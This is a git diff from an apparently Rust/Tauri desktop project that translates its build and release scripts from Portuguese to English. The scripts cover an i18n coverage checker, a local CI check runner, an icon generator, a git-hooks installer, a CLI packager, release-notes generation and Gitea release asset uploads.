// Uso: node scripts/check-ui-i18n.mjs
// Usage: node scripts/check-ui-i18n.mjs
import { readFileSync, readdirSync } from 'node:fs';
import { join, relative } from 'node:path';
@@ -16,7 +15,7 @@ import { fileURLToPath } from 'node:url';
const root = join(fileURLToPath(new URL('.', import.meta.url)), '..');
const rel = (p) => relative(root, p).replaceAll('\\', '/');
// ---------------------------------------------------------------- dicionário
// ---------------------------------------------------------------- dictionary
const dictPath = join(root, 'apps/gui/ui/i18n-en.js');
const dictSource = readFileSync(dictPath, 'utf8');
@@ -33,8 +32,8 @@ while ((m = keyRe.exec(dictSource))) {
}
if (duplicates.length) {
console.error('Chaves duplicadas em apps/gui/ui/i18n-en.js:');
for (const d of duplicates) console.error(` ${JSON.stringify(d.key)} (linhas ${d.first} e ${d.again})`);
console.error('Duplicate keys in apps/gui/ui/i18n-en.js:');
for (const d of duplicates) console.error(` ${JSON.stringify(d.key)} (lines ${d.first} and ${d.again})`);
process.exitCode = 1;
}
@@ -53,7 +52,7 @@ function translated(text) {
return patterns.some((re) => re.test(text));
}
// ---------------------------------------------------------------- heurística
// ---------------------------------------------------------------- heuristic
const ACCENT = /[áàâãäéèêëíìîïóòôõöúùûüçÁÀÂÃÄÉÈÊËÍÌÎÏÓÒÔÕÖÚÙÛÜÇ]/;
const WORDS = [
@@ -95,13 +94,13 @@ function suspicious(text) {
if (ALLOW.has(s) || ALLOW_EXACT.has(s)) return false;
if (ALLOW_PREFIX.some((p) => s.startsWith(p))) return false;
if (!isPortuguese(s)) return false;
// técnico: seletores, classes, extensões, expressões
// Technical tokens: CSS selectors, classes, extensions, expressions
if (/^[.#\w-]+(\s*[,>+~]\s*[.#\w-]+)+$/.test(s)) return false;
if (/^[a-z0-9_.:/@%{}$-]+$/i.test(s) && !ACCENT.test(s)) return false;
return true;
}
// ---------------------------------------------------------------- extratores
// ---------------------------------------------------------------- extractors
function jsStrings(source, file, baseLine = 1) {
const out = [];
@@ -215,23 +214,23 @@ function jsStrings(source, file, baseLine = 1) {
function htmlStrings(source, file, baseLine = 1) {
const out = [];
const lineAt = (idx) => baseLine + source.slice(0, idx).split('\n').length - 1;
// todo texto entre tags (inclusive começo e fim) — nós de texto reais
// Text between tags (including leading and trailing text nodes)
let last = 0;
for (const m of source.matchAll(/<[^>]*>/g)) {
out.push({ text: source.slice(last, m.index), file, line: lineAt(last) });
last = m.index + m[0].length;
}
out.push({ text: source.slice(last), file, line: lineAt(last) });
// atributos traduzíveis (com aspas simples ou duplas)
// Translatable attributes (single or double quotes)
for (const m of source.matchAll(/\b(placeholder|title|aria-label|alt|data-empty)\s*=\s*(?:"([^"]*)"|'([^']*)')/g)) {
out.push({ text: m[2] ?? m[3], file, line: lineAt(m.index) });
}
return out;
}
// Extrai mensagens pt-BR do núcleo em Rust: #[error("...")], .push("...".into()),
// "...".into() e format!("...", ...). Placeholders ({name}, {0}, {} etc.) são
// normalizados para {n}, igual ao que o dicionário usa.
// Extracts pt-BR messages from the Rust core: #[error("...")], .push("...".into()),
// "...".into(), and format!("...", ...). Placeholders ({name}, {0}, {} etc.) are
// normalized to {n}, matching the dictionary format.
function rustLabels(source, file) {
const out = [];
const lineAt = (idx) => source.slice(0, idx).split('\n').length;
@@ -247,7 +246,7 @@ function rustLabels(source, file) {
return out;
}
// ---------------------------------------------------------------- coleta
// ---------------------------------------------------------------- collection
const uiFiles = readdirSync(join(root, 'apps/gui/ui'))
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js' && f !== 'vendor')
@@ -286,12 +285,12 @@ for (const { text, file, line } of found) {
}
if (missing.length) {
console.error('Textos em português sem tradução em apps/gui/ui/i18n-en.js:\n');
console.error('Untranslated Portuguese strings in apps/gui/ui/i18n-en.js:\n');
for (const x of missing) console.error(` ${x.file}:${x.line} ${JSON.stringify(x.text)}`);
console.error(`\n${missing.length} texto(s) sem tradução.`);
console.error(`\n${missing.length} untranslated string(s).`);
process.exitCode = 1;
}
if (!process.exitCode) {
console.log(`i18n ok: ${found.length} textos verificados, ${Object.keys(EN).length} chaves no dicionário.`);
console.log(`i18n ok: ${found.length} strings checked, ${Object.keys(EN).length} dictionary keys.`);
}
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env bash
# Local verification: runs the same fast checks as CI before pushing.
#
# scripts/check.sh fast (~1 min): fmt, clippy, i18n, scripts, workflows, semver
# scripts/check.sh --full also runs workspace tests and cargo audit
#
# CI takes 5 to 30 minutes per run; almost everything that breaks CI is caught
# here in seconds.
set -uo pipefail
cd "$(dirname "$0")/.."
full=0
[ "${1:-}" = "--full" ] || [ "${1:-}" = "--completo" ] && full=1
failures=()
step() { # step "name" command...
local name="$1"; shift
printf '\n\033[1m== %s\033[0m\n' "$name"
if "$@"; then printf '\033[32mok\033[0m %s\n' "$name"; else printf '\033[31mFAILED\033[0m %s\n' "$name"; failures+=("$name"); fi
}
step "formatting (cargo fmt)" cargo fmt --all -- --check
# Same flags as CI: warnings are treated as errors across all targets, including tests
step "clippy (workspace, all targets)" env RUSTFLAGS="-D warnings" cargo clippy --workspace --all-targets
step "UI translation coverage" node scripts/check-ui-i18n.mjs
step "bash script syntax" bash -c 'for f in scripts/*.sh .githooks/*; do bash -n "$f" || exit 1; done'
step "workflows and templates (valid YAML)" python3 -c "
import glob, yaml
for f in glob.glob('.gitea/**/*.yml', recursive=True):
yaml.safe_load(open(f))
"
step "consistent Semantic Versioning 2.0.0" python3 -c "
import json, re, sys
from pathlib import Path
semver_re = re.compile(
r'^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)'
r'(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?'
r'(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$'
)
def cargo_version(path):
m = re.search(r'^version\s*=\s*\"([^\"]+)\"', Path(path).read_text(), re.M)
if not m:
sys.exit(f'version not found in {path}')
return m.group(1)
versions = [
cargo_version('Cargo.toml'),
cargo_version('apps/gui/src-tauri/Cargo.toml'),
json.load(open('apps/gui/src-tauri/tauri.conf.json'))['version'],
]
if len(set(versions)) != 1:
sys.exit(f'version mismatch: Cargo.toml={versions[0]}, src-tauri={versions[1]}, tauri.conf={versions[2]}')
if not semver_re.match(versions[0]):
sys.exit(f'invalid SemVer 2.0.0 version: {versions[0]}')
print(versions[0])
"
if [ -f apps/gui/src-tauri/Cargo.toml ] && pkg-config --exists webkit2gtk-4.1 2>/dev/null; then
step "desktop app (cargo check)" env RUSTFLAGS="" cargo check --manifest-path apps/gui/src-tauri/Cargo.toml
else
printf '\n(desktop app: skipped, WebKitGTK development libraries not installed; built in CI)\n'
fi
if [ "$full" = 1 ]; then
step "tests (cargo test --workspace)" cargo test --workspace
step "dependency audit (cargo audit)" cargo audit
fi
printf '\n'
if [ ${#failures[@]} -eq 0 ]; then
printf '\033[32mall checks passed\033[0m: ready to push.\n'
else
printf '\033[31mfailed:\033[0m %s\n' "${failures[*]}"
exit 1
fi
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""Generates the base Tauri icon from the official project logo.
The official logo is `logo.png` in the repository root (RGBA, transparent
background, suitable for both light and dark themes). It is not modified here.
Output:
apps/gui/src-tauri/icons/source.png 1024 px artwork centered over a rounded
dark background; CI and `npx @tauri-apps/cli icon`
derive all remaining icon formats from it.
Usage: python3 scripts/generate-logo.py
"""
import os
from PIL import Image, ImageDraw
ROOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")
ICONS_DIR = os.path.join(ROOT, "apps/gui/src-tauri/icons")
ICON_BG = (10, 16, 28) # dark navy background matching the original artwork
def crop_square(im, margin=0.04):
"""Crops to visible pixels (opacity > 16, ignoring faint artifacts) and centers in a square."""
box = im.getchannel("A").point(lambda v: 255 if v > 16 else 0).getbbox()
im = im.crop(box)
w, h = im.size
side = round(max(w, h) * (1 + 2 * margin))
canvas = Image.new("RGBA", (side, side), (0, 0, 0, 0))
canvas.paste(im, ((side - w) // 2, (side - h) // 2), im)
return canvas
def main():
logo = crop_square(Image.open(os.path.join(ROOT, "logo.png")).convert("RGBA"))
side = 1024
bg = Image.new("RGBA", (side, side), ICON_BG + (255,))
art = logo.resize((round(side * 0.82),) * 2, Image.LANCZOS)
bg.paste(art, ((side - art.width) // 2, (side - art.height) // 2), art)
mask = Image.new("L", (side, side), 0)
ImageDraw.Draw(mask).rounded_rectangle((0, 0, side - 1, side - 1), radius=round(side * 0.2237), fill=255)
icon = Image.new("RGBA", (side, side), (0, 0, 0, 0))
icon.paste(bg, (0, 0), mask)
os.makedirs(ICONS_DIR, exist_ok=True)
dest = os.path.join(ICONS_DIR, "source.png")
icon.save(dest, optimize=True)
os.chmod(dest, 0o644)
print("icons/source.png")
if __name__ == "__main__":
main()
-49
View File
@@ -1,49 +0,0 @@
#!/usr/bin/env python3
"""Gera, a partir da logo oficial, o ícone base usado pelo Tauri.
A logo oficial é `logo.png` na raiz do repositório (RGBA, fundo transparente,
serve aos temas claro e escuro). Ela não é alterada aqui. Saída:
apps/gui/src-tauri/icons/source.png 1024 px, a arte sobre o fundo escuro com cantos arredondados;
o CI e `npx @tauri-apps/cli icon` geram o resto dos ícones.
Uso: python3 scripts/gerar-logo.py
"""
import os
from PIL import Image, ImageDraw
RAIZ = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")
ICONES = os.path.join(RAIZ, "apps/gui/src-tauri/icons")
FUNDO_ICONE = (10, 16, 28) # o azul-noite do fundo da arte original
def recortar_quadrado(im, margem=0.04):
"""Recorta no que é visível (opacidade > 16, ignora resquícios) e centraliza num quadrado."""
box = im.getchannel("A").point(lambda v: 255 if v > 16 else 0).getbbox()
im = im.crop(box)
w, h = im.size
lado = round(max(w, h) * (1 + 2 * margem))
quadro = Image.new("RGBA", (lado, lado), (0, 0, 0, 0))
quadro.paste(im, ((lado - w) // 2, (lado - h) // 2), im)
return quadro
def main():
logo = recortar_quadrado(Image.open(os.path.join(RAIZ, "logo.png")).convert("RGBA"))
lado = 1024
fundo = Image.new("RGBA", (lado, lado), FUNDO_ICONE + (255,))
arte = logo.resize((round(lado * 0.82),) * 2, Image.LANCZOS)
fundo.paste(arte, ((lado - arte.width) // 2, (lado - arte.height) // 2), arte)
mascara = Image.new("L", (lado, lado), 0)
ImageDraw.Draw(mascara).rounded_rectangle((0, 0, lado - 1, lado - 1), radius=round(lado * 0.2237), fill=255)
icone = Image.new("RGBA", (lado, lado), (0, 0, 0, 0))
icone.paste(fundo, (0, 0), mascara)
os.makedirs(ICONES, exist_ok=True)
destino = os.path.join(ICONES, "source.png")
icone.save(destino, optimize=True)
os.chmod(destino, 0o644)
print("icons/source.png")
if __name__ == "__main__":
main()
-6
View File
@@ -1,6 +0,0 @@
#!/usr/bin/env bash
# Liga o hook de pre-push do repositório (roda scripts/verificar.sh antes de cada push).
set -euo pipefail
cd "$(dirname "$0")/.."
git config core.hooksPath .githooks
echo "hook ligado: git push passa a rodar scripts/verificar.sh (desligue com: git config --unset core.hooksPath)"
+6
View File
@@ -0,0 +1,6 @@
#!/usr/bin/env bash
# Enables the repository Git hooks (.githooks/pre-push and .githooks/commit-msg).
set -euo pipefail
cd "$(dirname "$0")/.."
git config core.hooksPath .githooks
echo "hooks enabled: git commit validates Conventional Commits in English and git push runs scripts/check.sh (disable with: git config --unset core.hooksPath)"
+8 -8
View File
@@ -1,19 +1,19 @@
#!/usr/bin/env bash
# Compila o CLI para uma plataforma e empacota como o atualizador espera:
# sabia-<tag>-<plataforma>.tar.gz com um .sha256 ao lado.
# Builds the CLI for a target platform and packages it as expected by the updater:
# sabia-<tag>-<platform>.tar.gz alongside a .sha256 checksum file.
#
# scripts/package-cli.sh v1.0.3 linux-x86_64 x86_64-unknown-linux-gnu
#
# Plataformas: linux-x86_64 e linux-aarch64. O alvo diferente da máquina de build
# usa o linker cruzado correspondente (gcc-x86-64-linux-gnu). Escreve os arquivos
# na raiz do repositório e imprime os nomes.
# Supported platforms: linux-x86_64 and linux-aarch64. When cross-compiling
# from a non-x86_64 host, uses gcc-x86-64-linux-gnu. Writes the archives to the
# repository root and prints their filenames.
set -euo pipefail
cd "$(dirname "$0")/.."
tag=${1:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
platform=${2:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
target=${3:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
tag=${1:?usage: package-cli.sh <tag> <platform> <rust-target>}
platform=${2:?usage: package-cli.sh <tag> <platform> <rust-target>}
target=${3:?usage: package-cli.sh <tag> <platform> <rust-target>}
case "$target" in
x86_64-unknown-linux-gnu)
+4 -4
View File
@@ -1,11 +1,11 @@
#!/usr/bin/env bash
# Imprime as notas de uma release: a seção do CHANGELOG.md daquela versão, ou o
# log de commits desde a tag anterior quando o changelog não tem a seção.
# Prints release notes for a given tag: extracts the matching CHANGELOG.md
# section, or falls back to the commit log since the previous tag.
#
# scripts/release-notes.sh v1.2.3
set -euo pipefail
tag=${1:?uso: release-notes.sh <tag>}
tag=${1:?usage: release-notes.sh <tag>}
version=${tag#v}
section=""
@@ -22,7 +22,7 @@ if [ -n "$(printf '%s' "$section" | tr -d '[:space:]')" ]; then
printf '%s\n' "$section"
else
previous=$(git describe --tags --abbrev=0 "$tag^" 2>/dev/null || true)
echo "## Mudanças${previous:+ desde $previous}"
echo "## Changes${previous:+ since $previous}"
echo
git log --no-merges --format='- %s (%h)' "${previous:+$previous..}$tag"
fi
+8 -8
View File
@@ -1,14 +1,14 @@
#!/usr/bin/env bash
# Anexa arquivos a uma release do Gitea, trocando os de mesmo nome (assim uma
# execução repetida do CI não falha por anexo duplicado).
# Uploads assets to a Gitea release, replacing any existing asset with the same
# filename so re-running a CI job never fails on duplicate attachments.
#
# API=https://git.exemplo.com/api/v1/repos/dono/repo TOKEN=... \
# scripts/release-upload.sh v1.2.3 arquivo1 arquivo2
# API=https://git.example.com/api/v1/repos/owner/repo TOKEN=... \
# scripts/release-upload.sh v1.2.3 file1 file2
set -euo pipefail
: "${API:?defina API (URL do repositório na API do Gitea)}"
: "${TOKEN:?defina TOKEN}"
tag=${1:?uso: release-upload.sh <tag> <arquivo>...}
: "${API:?set API (Gitea repository API URL)}"
: "${TOKEN:?set TOKEN}"
tag=${1:?usage: release-upload.sh <tag> <file>...}
shift
auth=(-H "Authorization: token $TOKEN")
@@ -21,5 +21,5 @@ for file in "$@"; do
curl -fsS -X DELETE "${auth[@]}" "$API/releases/$id/assets/$old"
done
curl -fsS -X POST "${auth[@]}" -F "attachment=@$file" "$API/releases/$id/assets?name=$encoded" >/dev/null
echo "enviado: $name"
echo "uploaded: $name"
done
-67
View File
@@ -1,67 +0,0 @@
#!/usr/bin/env bash
# Verificação local: roda o mesmo que o CI roda, antes de você dar push.
#
# scripts/verificar.sh rápido (~1 min): formatação, clippy, tradução, scripts, workflows
# scripts/verificar.sh --completo inclui os testes do workspace e o cargo audit
#
# O CI leva de 5 a 30 minutos por execução e roda em Linux; quase tudo que o faz falhar
# aparece aqui em segundos. Se isto passa, o CI só deve revelar o que é próprio dele
# (imagens baixadas, apt do runner).
set -uo pipefail
cd "$(dirname "$0")/.."
completo=0
[ "${1:-}" = "--completo" ] && completo=1
falhas=()
passo() { # passo "nome" comando...
local nome="$1"; shift
printf '\n\033[1m== %s\033[0m\n' "$nome"
if "$@"; then printf '\033[32mok\033[0m %s\n' "$nome"; else printf '\033[31mFALHOU\033[0m %s\n' "$nome"; falhas+=("$nome"); fi
}
passo "formatação (cargo fmt)" cargo fmt --all -- --check
# as mesmas flags do CI: avisos viram erro, inclusive nos testes
passo "clippy (workspace, todos os alvos)" env RUSTFLAGS="-D warnings" cargo clippy --workspace --all-targets
passo "cobertura da tradução da interface" node scripts/check-ui-i18n.mjs
passo "sintaxe dos scripts bash" bash -c 'for f in scripts/*.sh .githooks/*; do bash -n "$f" || exit 1; done'
passo "workflows e templates (YAML válido)" python3 -c "
import glob, yaml
for f in glob.glob('.gitea/**/*.yml', recursive=True):
yaml.safe_load(open(f))
"
passo "versões consistentes" python3 -c "
import json, re, sys
from pathlib import Path
def cargo_version(path):
m = re.search(r'^version\s*=\s*\"([^\"]+)\"', Path(path).read_text(), re.M)
if not m:
sys.exit(f'versão não encontrada em {path}')
return m.group(1)
versoes = [
cargo_version('Cargo.toml'),
cargo_version('apps/gui/src-tauri/Cargo.toml'),
json.load(open('apps/gui/src-tauri/tauri.conf.json'))['version'],
]
if len(set(versoes)) != 1:
sys.exit(f'versões divergentes: Cargo.toml={versoes[0]}, src-tauri={versoes[1]}, tauri.conf={versoes[2]}')
print(versoes[0])
"
if [ -f apps/gui/src-tauri/Cargo.toml ] && pkg-config --exists webkit2gtk-4.1 2>/dev/null; then
passo "app desktop (cargo check)" env RUSTFLAGS="" cargo check --manifest-path apps/gui/src-tauri/Cargo.toml
else
printf '\n(app desktop: pulado, faltam as bibliotecas do WebKitGTK; o CI compila)\n'
fi
if [ "$completo" = 1 ]; then
passo "testes (cargo test --workspace)" cargo test --workspace
passo "auditoria de dependências (cargo audit)" cargo audit
fi
printf '\n'
if [ ${#falhas[@]} -eq 0 ]; then
printf '\033[32mtudo certo\033[0m: pode dar push.\n'
else
printf '\033[31mfalhou:\033[0m %s\n' "${falhas[*]}"
exit 1
fi